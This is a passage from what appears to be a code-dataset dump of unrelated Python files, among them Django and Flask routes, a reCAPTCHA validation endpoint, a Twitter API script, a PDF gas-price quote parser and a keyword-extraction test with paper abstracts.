views\nfrom rest_framework.routers import DefaultRouter\nfrom django.urls import path\n\nrouter = DefaultRouter()\nrouter.register(r\"posts\", views.PostViewSet, basename=\"post\")\nrouter.register(r\"comments\", views.CommentViewSet, basename=\"comment\")\nurlpatterns = [\n path(\"vote\", views.VotedViewSet.as_view({\"post\": \"create\"})),\n path(\"vote/reset/\", views.ResetVotedViewSet.as_view({\"get\": \"delete_all\"})),\n] + router.urls\n","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"97976542","text":"import datetime\nfrom third_party.captcha.client import CaptchaClient\n\nfrom yarl import URL\nfrom web.utils.cleanup_chat_after_validation import cleanup_chat_after_validation\n\nfrom fastapi import Depends, Request\nfrom starlette.responses import JSONResponse, Response\n\nfrom config import (\n MessageType,\n RECAPTCHA_PRIVATE_KEY,\n)\nfrom web.dependency_resolvers.aiogram_bot_to_fastapi import AiogramBot\nfrom web.dependency_resolvers.aiogram_fsm_context_to_fastapi import UserRepoResolver\nfrom web.models.recaptcha_validation_model import RecaptchaValidationModel\nfrom utils.security import verify_hash\n\n\nasync def validate_recaptcha_page(\n request: Request,\n validation_model: RecaptchaValidationModel,\n storage: UserRepoResolver = Depends(UserRepoResolver),\n bot: AiogramBot = Depends(AiogramBot),\n) -> Response:\n user_secret_data = await storage.user_repo.get_security(validation_model.user_id)\n\n if not all(\n [\n user_secret_data,\n verify_hash(\n user_secret_data.PrivateKey,\n validation_model.public_key,\n user_secret_data.PublicKey,\n ),\n ],\n ):\n return JSONResponse(\n status_code=400,\n content={\n \"detail\": \"Can't verify your attempt. Probably you are bot :)\",\n },\n )\n\n async with CaptchaClient(URL(\"https://www.google.com/recaptcha/api/\")) as client:\n result = await client.validate_token(\n validation_model.token, RECAPTCHA_PRIVATE_KEY\n )\n if result:\n if result.success:\n chats = await storage.user_repo.get_chat_messages(\n validation_model.user_id,\n False,\n [MessageType.Welcome.value, MessageType.Captcha.value, MessageType.UserJoinServiceMessage.value,],\n )\n await cleanup_chat_after_validation(\n bot.bot, validation_model.user_id, chats\n )\n await storage.user_repo.cleanup_messages(\n validation_model.user_id,\n )\n\n await storage.user_repo.update_security(\n validation_model.user_id,\n user_secret_data.PublicKey,\n user_secret_data.PrivateKey,\n datetime.datetime.utcnow(),\n )\n\n return JSONResponse( # everything is ok\n status_code=200,\n content={\n \"detail\": \"Now you can close this tab. Or it will close in: {0}\",\n \"redirectTo\": bot.bot_link,\n },\n )\n\n return JSONResponse(\n status_code=400,\n content={\n \"detail\": \"Can't verify your attempt. Probably you are bot :)\",\n },\n )\n\n return JSONResponse(\n status_code=400,\n content={\n \"detail\": \"Something went wrong. Please try later.\",\n },\n )\n","sub_path":"web/controllers/recaptcha/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"633794161","text":"import numpy as np\nimport NonLinearOptimization as nlopt\nimport scipy.integrate as spint\nfrom time import time\n\n\ndef integrand(x, y):\n return np.ones_like(x)\n\n\nif __name__ == '__main__':\n\n x_a, x_b, y_a, y_b, grid_dot_num_x, grid_dot_num_y = -3.0, 5.0, -3.0, 5.0, 100, 100\n x, y = np.linspace(x_a, x_b, grid_dot_num_x+1), np.linspace(y_a, y_b, grid_dot_num_y+1)\n xx, yy = np.meshgrid(x, y)\n integrand_grid = integrand(xx, yy)\n\n exact_val = (x_b - x_a) * (y_b - y_a)\n\n print('Function: %.52f\\nOn grid: %.52f' %\n (nlopt.trapezoid_double(integrand, x_a, x_b, y_a, y_b, grid_dot_num_x, grid_dot_num_y),\n nlopt.trapezoid_double_on_grid(integrand_grid, x_a, x_b, y_a, y_b)))\n\n print('Difference between different methods: %.52f' %\n np.abs(\n nlopt.trapezoid_double(integrand, x_a, x_b, y_a, y_b, grid_dot_num_x, grid_dot_num_y) -\n nlopt.trapezoid_double_on_grid(integrand_grid, x_a, x_b, y_a, y_b)))\n\n print('Exact value of integral: %.52f' % exact_val)\n\n print('Difference between exact and numerical (on grid): %.52f' %\n np.abs(nlopt.trapezoid_double_on_grid(integrand_grid, x_a, x_b, y_a, y_b) - exact_val))\n","sub_path":"Numerical Optimization/DiplomaProject/integral_double_test.py","file_name":"integral_double_test.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"516435756","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\lquery\\expr_builder.py\n# Compiled at: 2018-08-01 12:38:00\n# Size of source mod 2**32: 4988 bytes\nimport dis\nfrom contextlib import contextmanager\nfrom .expr import CallExpr, attr, index, BinaryExpr, parameter, lambda_, make, call, build_dict, build_list\nDEBUG = False\n\n@contextmanager\ndef debug():\n global DEBUG\n DEBUG = True\n yield\n DEBUG = False\n\n\nclass NotSupportError(Exception):\n\n def __init__(self, instr):\n self._instr = instr\n msg = f\"not supported instruction: {instr}\"\n super().__init__(msg)\n\n\nclass ExprBuilder:\n\n def __init__(self, func):\n self._func = func\n self._bytecode = dis.Bytecode(self._func)\n self._args = [parameter(n) for n in self._bytecode.codeobj.co_varnames]\n self._args_map = dict((p.name, p) for p in self._args)\n self._stack = []\n self._instructions = list(self._bytecode)\n self._instructions_map = dict((v.offset, v) for v in self._instructions)\n\n def _print_stack(self):\n print(self._stack)\n\n def _not_support(self, instr: dis.Instruction):\n if DEBUG:\n self._print_stack()\n raise NotSupportError(instr)\n\n def _stack_pop(self, count):\n if count > 0:\n items = self._stack[-count:]\n self._stack = self._stack[0:-count]\n return items\n else:\n return []\n\n def build(self):\n for instr in self._instructions:\n method_name = instr.opname.lower()\n method = getattr(self, method_name, None)\n if not method:\n return self._not_support(instr)\n method(instr)\n\n assert len(self._stack) == 1\n body = self._stack.pop()\n expr = lambda_(body, *self._args)\n return expr\n\n def load_fast(self, instr: dis.Instruction):\n self._stack.append(self._args_map[instr.argval])\n\n def load_const(self, instr: dis.Instruction):\n self._stack.append(instr.argval)\n\n def load_attr(self, instr: dis.Instruction):\n s = self._stack.pop()\n self._stack.append(attr(s, instr.argval))\n\n def load_deref(self, instr: dis.Instruction):\n closure = self._func.__closure__[instr.arg]\n cell_contents = closure.cell_contents\n self._stack.append(cell_contents)\n\n def load_global(self, instr: dis.Instruction):\n name = instr.argval\n if name in self._func.__globals__:\n self._stack.append(self._func.__globals__[name])\n return\n else:\n builtins = self._func.__globals__['__builtins__']\n if name in builtins:\n self._stack.append(builtins[name])\n return\n return self._not_support(instr)\n\n def binary_subscr(self, _: dis.Instruction):\n k = self._stack.pop()\n s = self._stack.pop()\n self._stack.append(index(s, k))\n\n def binary_add(self, _: dis.Instruction):\n right = self._stack.pop()\n left = self._stack.pop()\n self._stack.append(BinaryExpr(make(left), make(right), '+'))\n\n def binary_and(self, _: dis.Instruction):\n right = self._stack.pop()\n left = self._stack.pop()\n self._stack.append(BinaryExpr(make(left), make(right), '&'))\n\n def compare_op(self, instr: dis.Instruction):\n right = self._stack.pop()\n left = self._stack.pop()\n self._stack.append(BinaryExpr(make(left), make(right), instr.argval))\n\n def return_value(self, instr: dis.Instruction):\n pass\n\n def build_list(self, instr: dis.Instruction):\n items = self._stack_pop(instr.arg)\n expr = build_list(*items)\n self._stack.append(expr)\n\n def build_const_key_map(self, _: dis.Instruction):\n keys = self._stack.pop()\n kvps = list(zip(keys, self._stack_pop(len(keys))))\n expr = build_dict(*kvps)\n self._stack.append(expr)\n\n def call_function(self, instr: dis.Instruction):\n args = self._stack_pop(instr.arg)\n func = self._stack.pop()\n expr = call(func, *args)\n self._stack.append(expr)\n\n def call_function_kw(self, _: dis.Instruction):\n keys = self._stack.pop()\n kvps = list(zip(keys, self._stack_pop(len(keys))))\n kwargs = dict(kvps)\n func = self._stack.pop()\n expr = call(func, **kwargs)\n self._stack.append(expr)\n\n\ndef to_lambda_expr(func):\n \"\"\"\n try compile a call expr to a lambda expr.\n\n return `None` when convert fail.\n \"\"\"\n assert callable(func)\n try:\n expr = ExprBuilder(func).build()\n except NotSupportError as err:\n if DEBUG:\n print(err)\n return\n\n if DEBUG:\n print('expr: ', expr)\n return expr","sub_path":"pycfiles/lquery-0.1.1-py3.6/expr_builder.cpython-36.py","file_name":"expr_builder.cpython-36.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"160993048","text":"from rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\n\n\nclass CustomPageiantion(PageNumberPagination):\n page_size = 10\n page_query_param = 'page'\n\n def get_paginated_response(self, data):\n res = {\n 'next': self.get_next_link(),\n 'previous': self.get_previous_link(),\n 'count': self.page.paginator.count,\n 'results': data,\n 'page': self.page.number\n }\n return Response(res)\n","sub_path":"announcement/rest/paginations.py","file_name":"paginations.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"520379206","text":"'''\nwe can add x more elements to the list a \nand find the greatest n, such that a should contain 1 to n elements\n\nloop from 1 to len(a) + x \nwe can't have n > len(a) +x\n'''\nt = int(input())\n \nfor _ in range(t):\n n,x = map(int, input().split())\n \n a = list(map(int, input().split()))\n a_s = set(a)\n i = 1\n s = 0\n dup_x = x\n \n while(i<=n+dup_x):\n \n if i in a_s:\n s += 1\n else:\n if x <=0:\n break\n x -= 1\n s += 1\n i+=1\n print(s)\n","sub_path":"contests/Codeforces Round #631 (Div. 2)/Dreamoon and Ranking Collection.py","file_name":"Dreamoon and Ranking Collection.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"363603283","text":"import tweepy\nfrom keys import *\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_secret)\n\napi = tweepy.API(auth)\n\npublic_tweets = api.home_timeline(count=36)\nme = api.me()\n\n\ndef user_info(user):\n user = api.get_user(user)\n print(\"\\t\\t\\033[94m %s \\033[92m Data \\n\\033[0m\" % user.screen_name)\n print(\"***\"*21)\n screen_name = user.screen_name\n followers = user.followers_count\n friends = user.friends()\n timelines = api.user_timeline(user.id)\n print(\"Name: \", screen_name)\n print(\"Followers: \", followers)\n print(\"***\"*21)\n print(\"\\t\\t\\033[93m Recent 7 tweets\\033[0m\")\n print(\"\\n\\n\\t\\t___________\\n\".join([tweet.full_text for tweet in timelines]))\n\n\ndef trends():\n trends = api.trends_available()\n print(trends.keys())\n","sub_path":"misc/authenticatetw.py","file_name":"authenticatetw.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"353418507","text":"from django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('',\n url(r'^view/([a-z]+)', 'web.views.view'),\n url(r'^sso/', include('social_auth.urls')),\n url(r'^complete/google-oauth2/', 'web.views.google_oauth2_complete'),\n url(r'^set_trello_token', 'web.views.set_trello_token'),\n url(r'^get_trello_token', 'web.views.get_trello_token'),\n url(r'^get_boards', 'web.views.get_boards'),\n url(r'^add_board', 'web.views.add_board'),\n url(r'^remove_board', 'web.views.remove_board'),\n url(r'^get_card_id', 'web.views.get_card_id'),\n url(r'^associate', 'web.views.associate'),\n url(r'^unassociate', 'web.views.unassociate'),\n url(r'^poll', 'web.views.poll'),\n url(r'^sidebar', 'web.views.sidebar'),\n url(r'^bundle.js$', 'web.views.javascript'),\n url(r'^bundle.css$', 'web.views.css'),\n url(r'', 'web.views.default'),\n)\n","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"279965147","text":"#! /usr/bin/env python\n_author_ = \"Rabib Islam\"\n_date_ = \"Monday, January 23, 2012\"\n_version_ = \"1.0\"\n_filename_ = \"main2.py\"\n_description_ = \"This is where the window and first processes are begun.\"\n\nimport pygame, os\nfrom pygame.locals import *\n\nimport menu, data\ndef main():\n \"\"\"This is the main method of the program.\"\"\"\n \n # Initialize the sound player.\n pygame.mixer.pre_init(44100, -16, 2, 4096)\n # Initialize pygame and setup window.\n pygame.init()\n screen = pygame.display.set_mode((256,240))\n pygame.display.set_caption('Mega Man')\n pygame.display.set_icon(data.load_image(\"megaman.png\"))\n #pygame.display.set_mode((0,0), pygame.FULLSCREEN, 0)\n menu.Menu(screen)","sub_path":"gamelib/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"354088241","text":"#!/usr/bin/python3\nfrom sys import stdin, stdout\nfrom bisect import bisect\n \ndef main ():\n read = stdin.readline\n write = stdout.write\n day = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30']\n ddmm = []\n for m in day [:12]:\n for d in day:\n ddmm.append (d + m)\n yyyy = []\n for x in ddmm:\n yyyy.append (x [::-1])\n yyyy.sort ()\n t = int (read ())\n for t_ in range (t):\n d = read ().rstrip ()\n dyyyy = d [4:]\n dmmdd = d [2:4] + d [:2]\n ti = bisect (yyyy, dyyyy) - 1\n if ti < 0: write (\"-1\\n\")\n else:\n tyyyy = yyyy [ti]\n tyyyyr = tyyyy [::-1]\n if tyyyy != dyyyy:\n write (tyyyyr + tyyyy + '\\n')\n elif tyyyyr [2:] + tyyyyr [:2] < dmmdd:\n write (tyyyyr + tyyyy + '\\n')\n else:\n ti -= 1\n if ti < 0: write (\"-1\\n\")\n else: write (yyyy [ti][::-1] + yyyy [ti] + '\\n')\n \nif __name__ == \"__main__\": main ()","sub_path":"_special_date0.py","file_name":"_special_date0.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"358020597","text":"import csv\nfrom zipfile import ZipFile\nimport os\nfrom shutil import rmtree\nimport re as re\n\nfile_pref = None\n# file_name = None\n\nprint(\"Enter pref file\")\nfile_pref=input()\n# print(\"Enter name file\")\n# file_name=input()\n\n# roll_name = {}\n\n# with open(file_name, 'r') as file:\n# reader=csv.reader(file)\n# for row in reader:\n# roll_name[row[1]] = row[2]+\" \"+row[3]+\" \"+row[4]\n \nhead=0\nhead_list = []\npref_dict = []\n\nwith open(file_pref,'r') as file:\n reader=csv.reader(file)\n for row in reader:\n if head==0:\n head+=1\n head_list=row\n continue\n \n pref_dict.append([row[0], row[3]])\n # pref_dict[-1].append(roll_name[row[0]])\n\n temp = []\n for i in range(5,len(row)):\n if re.match(r'^[0-9]+ \\(Yes\\)$',row[i]):\n temp.append((int(row[i].split()[0]),head_list[i]))\n \n\n temp.sort()\n\n for c in temp:\n pref_dict[-1].append(c[1])\n\nwith open('pref_list.csv', 'w') as file:\n writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for row in pref_dict:\n writer.writerow(row)\n\nprint('Done!')\n\n\n\n\n\n\n# with open('employee_file.csv', mode='w') as employee_file:\n# employee_writer = csv.writer(employee_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n# employee_writer.writerow(['John Smith', 'Accounting', 'November'])\n# employee_writer.writerow(['Erica Meyers', 'IT', 'March'])\n\n# with ZipFile(zip_name,'r') as zipped:\n# zipped.extractall(path='temp')\n \n# all_resumes = [x for x in os.listdir('temp')]\n \n# with ZipFile('new_resumes.zip','w') as newzipped:\n# with ZipFile('resumes_removed.zip','w') as zipped_removed:\n# for file in all_resumes:\n# flag=0\n# for number in rolls:\n# if re.search(f\"^{number}\",file):\n# flag=1\n# break\n# if not flag:\n# newzipped.write('temp/'+file)\n# else:\n# zipped_removed.write('temp/'+file)\n \n# rmtree('temp')\n# print(\"Done!\")","sub_path":"Scripts/TPO/pref_sorted/pref_sort.py","file_name":"pref_sort.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538318459","text":"#!/usr/bin/env python\n\nimport json\nfrom pprint import pprint\nfrom timeit import default_timer\n\nfile = 'test/test.json'\nfridge = ['eggs', 'cucumber', 'chicken', 'peppers', 'mushrooms']\n\nwith open(file, encoding='utf-8') as recipes:\n\tdata = json.load(recipes)\n\ngreatestMatches = 0\ncurrentMatches = 0\nindex = 0\nstart = default_timer()\n\nfor position, recipe in enumerate(data):\n\tfor item in fridge:\n\t\tfor ingredient in recipe['ingredients']:\n\t\t\tif item in ingredient:\n\t\t\t\tcurrentMatches = currentMatches + 1\n\tif currentMatches > greatestMatches:\n\t\tgreatestMatches = currentMatches\n\t\tindex = position \n\tcurrentMatches = 0\n\nend = default_timer() - start\nprint(end)\nprint(index)\npprint(data[index])","sub_path":"search-algo/algo_test.py","file_name":"algo_test.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"111240173","text":"#! flask/bin/python\nfrom flask import Flask\nfrom flask import request,make_response,render_template\nfrom pmw import Buzz\nfrom leds import Leds\n\napp=Flask(__name__)\n\nbuzz=Buzz()\nleds=Leds()\n\n@app.route('/start_buzz')\ndef start():\n global buzz\n if not buzz.isAlive():\n buzz=Buzz()\n buzz.start()\n elif buzz.stopped():\n buzz.resume()\n return \"Buzz Started\",200\n\n@app.route('/stop_buzz')\ndef stopit():\n global buzz\n if buzz.isAlive:\n buzz.stop()\n return \"Buzz Stopped\",200\n\n@app.route('/lights_on')\ndef lightson():\n global leds\n if not leds.isAlive():\n leds=Leds()\n leds.start()\n leds.led_on()\n elif leds.stopped():\n leds.resume()\n return \"Lights on\",200\n\n@app.route('/lights_off')\ndef lightsoff():\n global buzz\n if buzz.isAlive:\n leds.led_off()\n leds.stop()\n return \"Lights off\",200\n\n@app.route('/')\ndef index():\n return render_template('main.html',button='all')\n\n@app.route('/status')\ndef status():\n return \"OK\",200\n\nif __name__==\"__main__\":\n app.run(\"0.0.0.0\",debug=True)\n","sub_path":"service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"33136692","text":"import json, random\nfrom models import User, Transfer, Tag\n\ndef pie(username):\n\tuser = User.query.filter_by(name=username).first()\n\ttransfers = user.transfers.all()\n\n\tdata = []\n\tfor t in transfers:\n\t\tin_data = False\n\t\tfor d in data:\n\t\t\tif d[\"label\"] == t.tag.name:\n\t\t\t\td[\"value\"] = d[\"value\"] + t.amount\n\t\t\t\tin_data = True\n\t\tif not in_data:\n\t\t\tpoint = {\n\t\t\t\t\"value\": t.amount,\n\t\t\t\t\"color\": randomHex(),\n\t\t\t\t\"label\": t.tag.name\n\t\t\t}\n\t\t\tdata.append(point)\n\n\treturn json.dumps(data)\n\ndef randomHex():\n\th = lambda: random.randint(0, 255)\n\treturn (\"#%02X%02X%02X\" % (h(), h(), h()))","sub_path":"app/charthelp.py","file_name":"charthelp.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"177078130","text":"import datetime\n\nfrom brokerage.model import MatrixQuote\nfrom brokerage.exceptions import ValidationError\nfrom brokerage.pdf_reader import PDFReader\nfrom brokerage.quote_parser import QuoteParser\nfrom util.dateutils import date_to_datetime\nfrom util.monthmath import Month\n\n\"\"\"\nNote to self:\n\nFor overall strategy - go from top down, left-to-right.\n\nFor each table on each page for each of NY and NJ..\n\nmake a dict of columns, keys are (something like):\n\n - 6 Month Col\n - 12 Month Col\n - 18 Month Col\n - 24 Month Col\n - Utility Col\n - Load Type Col\n - Start Date Col\n\nAnd then find the intra-row offset (in px or whatever it is).\n\n\nThe functions that parse each table for each page, should NOT\nactually do the parsing... They sould just pre-populate this dictionary-thing.\n\nHopefully, this allows identical parsing code but allows for parameterizing it.\n\n\"\"\"\n\n\n# Used as a holder for a namespace object.\nclass Object(object):\n pass\n\n# Indicates quote cannot be inferred at given coordinates.\nclass QuoteNotFoundException(Exception):\n pass\n\n\nclass GEEGasNJParser(QuoteParser):\n NAME = 'geegas'\n\n reader = PDFReader(tolerance=5)\n\n INDEX_NJ_PAGE1 = {\n 'Page': 1,\n 'State/Type': (546, 376),\n 'Valid Date':(508, 27),\n 'Volume': (535, 369),\n 6: 454,\n 12: 492,\n 18: 532,\n 24: 571,\n 'Utility': 27,\n 'Start Date': 105,\n 'Load Type': 61,\n 'Data Start': 491,\n 'Intra Row Delta': 10.2,\n 'Rows': 32 + 11,\n 'Factor': 16\n }\n\n def _validate(self):\n for page_number, y, x, regex in [\n # Page 1 \"Commercial\"\n (1, 508, 27, '[\\d]+/[\\d]+/[\\d]+'),\n (1, 535, 369, '0 - 999 Dth'),\n (1, 546, 376, 'NJ Commercial'),\n (1, 508, 27, 'Utility'),\n (1, 508, 61, 'Load Type'),\n (1, 502, 106, 'Start Date'),\n (1, 524, 544, 'Fixed'),\n (1, 514, 489, 'Term \\(Months\\)'),\n\n # Page 2 \"Residential\" (We ignore this)\n # Page 3 \"Large Commercial\"\n #(3, 448, 355, 'NJ Large Commercial')\n ]:\n self._reader.get_matches(page_number, y, x, regex, [])\n\n def _produce_quote(self, info_dict, context, data_start_offset):\n \"\"\"\n :param info_dict: Dictionary containing offsets and coordinates.\n :param context: Namespace containing fields with the quote's context.\n :param data_start_offset: Pixel offset of the row in question.\n :return: A quote from the given parameters\n \"\"\"\n\n # If there is no price at the assumed coordinates, raise the relevant exception\n # This function should always return a MatrixQuote, and if it can't then it should\n # raise an exception. Returning None is not a good way out here.\n try:\n price = self._reader.get_matches(info_dict['Page'],\n data_start_offset,\n info_dict[context.month_duration],\n '(\\d+\\.\\d+)',\n str)\n except ValidationError:\n raise QuoteNotFoundException\n\n # Find a date string in the format of, eg., Mar-15\n start_month_str = self._reader.get_matches(info_dict['Page'],\n data_start_offset,\n info_dict['Start Date'],\n '([a-zA-Z]{3}-[\\d]{2})',\n str).strip()\n\n # Convert this string to a datetime object, since implicitly we assume the first of the month,\n # we create a new string with a hard-coded 1 and then parse that using strptime.\n start_from_date = datetime.datetime.strptime('1 %s' % start_month_str, '%d %b-%y')\n start_until_date = date_to_datetime((Month(start_from_date) + 1).first)\n\n utility = self._reader.get_matches(info_dict['Page'],\n data_start_offset,\n info_dict['Utility'],\n '([a-zA-Z]+)',\n str).strip()\n\n # For GEE, this is Heating or Non-Heating.\n load_type = self._reader.get_matches(info_dict['Page'],\n data_start_offset,\n info_dict['Load Type'],\n '([-\\w]+)',\n str).strip()\n\n # Since quotes price is per Dth, we need to divide by ten\n # in order to convert to price per therm.\n price = float(price)/10.0\n\n # Every single price quote should have a DISTINCT reference.\n # This is (also) to avoid situations in which the wrong price is attached\n # to some start date and utility.\n unique_file_reference = '%s %s,%s %s,start %s,%d month,%.4f' % (\n self.file_name, context.state_and_type, utility, load_type,\n start_from_date.strftime('%Y-%m-%d'), context.month_duration, price),\n\n quote = MatrixQuote(\n start_from=start_from_date,\n start_until=start_until_date,\n term_months=context.month_duration,\n valid_from=context.valid_dates[0],\n valid_until=context.valid_dates[1],\n min_volume=context.volumes[0],\n limit_volume=context.volumes[1],\n purchase_of_receivables=False,\n service_type='gas',\n rate_class_alias='GEE-gas-%s' % \\\n '-'.join((context.state_and_type, utility, load_type)),\n file_reference=unique_file_reference,\n price=price\n )\n return quote\n\n def _parse_page(self, info_dict):\n \"\"\"\n Parse a page in the multipage PDF document. It is assumed that each page takes care of\n one state/service type (e.g., NJ Residential).\n :param info_dict: This contains offsets and other parameters necessary.\n :return: A generator yielding quotes.\n \"\"\"\n\n # The valid_for field is always the top-left most element of the FIRST PAGE.\n valid_date_str = self._reader.get_matches(1,\n info_dict['Valid Date'][0],\n info_dict['Valid Date'][1],\n '([\\d]{1,2}/[\\d]{1,2}/[\\d]{4})',\n str).strip()\n\n # Make valid_until be for the day after.\n valid_from_date = datetime.datetime.strptime(valid_date_str, '%m/%d/%Y')\n valid_until_date = valid_from_date + datetime.timedelta(days=1)\n\n volume_str = self._reader.get_matches(info_dict['Page'],\n info_dict['Volume'][0],\n info_dict['Volume'][1],\n '(.*)',\n str).strip()\n\n if '0 - 999' in volume_str:\n min_volume, limit_volume = 0, 9999\n elif '1,000 - 5,999' in volume_str:\n min_volume, limit_volume = 10000, 59999\n else:\n raise ValidationError('Unexpected volume ranges')\n\n\n # This will return, for example, \"NJ Commercial\".\n state_and_type = self._reader.get_matches(info_dict['Page'],\n info_dict['State/Type'][0],\n info_dict['State/Type'][1],\n '(.*)',\n str).strip()\n\n # Generates a list of row offsets that start each row of price data.\n offsets = [info_dict['Data Start'] - (i * info_dict['Intra Row Delta'])\n for i in xrange(0, info_dict['Rows'])]\n\n for data_start_offset in offsets:\n # Get only the 6, 12, 18, 24 month columns.\n for month_duration in [key for key in info_dict.keys() if isinstance(key, int)]:\n # Create a simple namespace\n context = Object()\n context.valid_dates = (valid_from_date, valid_until_date)\n context.volumes = (min_volume, limit_volume)\n context.state_and_type = state_and_type\n context.month_duration = month_duration\n\n yield self._produce_quote(info_dict, context, data_start_offset)\n\n def _extract_quotes(self):\n \"\"\"\n Generate all quotes that exist in the file.\n :return:\n \"\"\"\n\n # List of all quotes (but may contain duplicates)\n quotes = list()\n\n # Contains all DISTINCT quotes.\n filtered_quotes = list()\n\n # Contains only unique file-reference strings\n references = set()\n\n for quote in self._parse_page(self.INDEX_NJ_PAGE1):\n try:\n quotes.append(quote)\n references.add(quote.file_reference)\n except QuoteNotFoundException:\n # If no quote found, just keep on going.\n pass\n\n # Removes duplicates\n for quote in quotes:\n if quote.file_reference in references:\n filtered_quotes.append(quote)\n references.remove(quote.file_reference)\n\n # Yield only distinct quotes.\n for quote in filtered_quotes:\n yield quote\n","sub_path":"brokerage/quote_parsers/gee_gas_nj.py","file_name":"gee_gas_nj.py","file_ext":"py","file_size_in_byte":9629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"612846674","text":"\"\"\" UnitTest for Algorithms \"\"\"\nimport unittest\nimport logging\n\nfrom kex import get_algorithm, VALID_ALGORITHMS\n\nlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s', level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S')\n\nTEST_DOCS = [\n\"\"\"\nEfficient discovery of grid services is essential for the success of\ngrid computing. The standardization of grids based on web\nservices has resulted in the need for scalable web service\ndiscovery mechanisms to be deployed in grids Even though UDDI\nhas been the de facto industry standard for web-services\ndiscovery, imposed requirements of tight-replication among\nregistries and lack of autonomous control has severely hindered\nits widespread deployment and usage. With the advent of grid\ncomputing the scalability issue of UDDI will become a roadblock\nthat will prevent its deployment in grids. In this paper we present\nour distributed web-service discovery architecture, called DUDE\n(Distributed UDDI Deployment Engine). DUDE leverages DHT\n(Distributed Hash Tables) as a rendezvous mechanism between\nmultiple UDDI registries. DUDE enables consumers to query\nmultiple registries, still at the same time allowing organizations to\nhave autonomous control over their registries.. Based on\npreliminary prototype on PlanetLab, we believe that DUDE\narchitecture can support effective distribution of UDDI registries\nthereby making UDDI more robust and also addressing its scaling\nissues. Furthermore, The DUDE architecture for scalable\ndistribution can be applied beyond UDDI to any Grid Service\nDiscovery mechanism.\n\"\"\".replace('\\n', ' '),\n\"\"\"\nGrids are inherently heterogeneous and dynamic. One important\nproblem in grid computing is resource selection, that is, finding\nan appropriate resource set for the application. Another problem\nis adaptation to the changing characteristics of the grid \nenvironment. Existing solutions to these two problems require that a \nperformance model for an application is known. However, \nconstructing such models is a complex task. In this paper, we investigate\nan approach that does not require performance models. We start an\napplication on any set of resources. During the application run, we\nperiodically collect the statistics about the application run and \ndeduce application requirements from these statistics. Then, we adjust\nthe resource set to better fit the application needs. This approach \nallows us to avoid performance bottlenecks, such as overloaded WAN\nlinks or very slow processors, and therefore can yield significant\nperformance improvements. We evaluate our approach in a number\nof scenarios typical for the Grid.\n\"\"\".replace('\\n', ' '),\n\"\"\"\nBest effort packet-switched networks, like the Internet, do\nnot offer a reliable transmission of packets to applications\nwith real-time constraints such as voice. Thus, the loss of\npackets impairs the application-level utility. For voice this\nutility impairment is twofold: on one hand, even short bursts\nof lost packets may decrease significantly the ability of the\nreceiver to conceal the packet loss and the speech signal \nplayout is interrupted. On the other hand, some packets may\nbe particular sensitive to loss as they carry more important\ninformation in terms of user perception than other packets.\nWe first develop an end-to-end model based on loss \nrunlengths with which we can describe the loss distribution\nwithin a flow. These packet-level metrics are then linked to\nuser-level objective speech quality metrics. Using this \nframework, we find that for low-compressing sample-based codecs\n(PCM) with loss concealment isolated packet losses can be\nconcealed well, whereas burst losses have a higher perceptual\nimpact. For high-compressing frame-based codecs (G.729)\non one hand the impact of loss is amplified through error\npropagation caused by the decoder filter memories, though\non the other hand such coding schemes help to perform loss\nconcealment by extrapolation of decoder state. Contrary to\nsample-based codecs we show that the concealment \nperformance may break at transitions within the speech signal\nhowever.\nWe then propose mechanisms which differentiate between\npackets within a voice data flow to minimize the impact of\npacket loss. We designate these methods as intra-flow loss\nrecovery and control. At the end-to-end level, identification\nof packets sensitive to loss (sender) as well as loss \nconcealment (receiver) 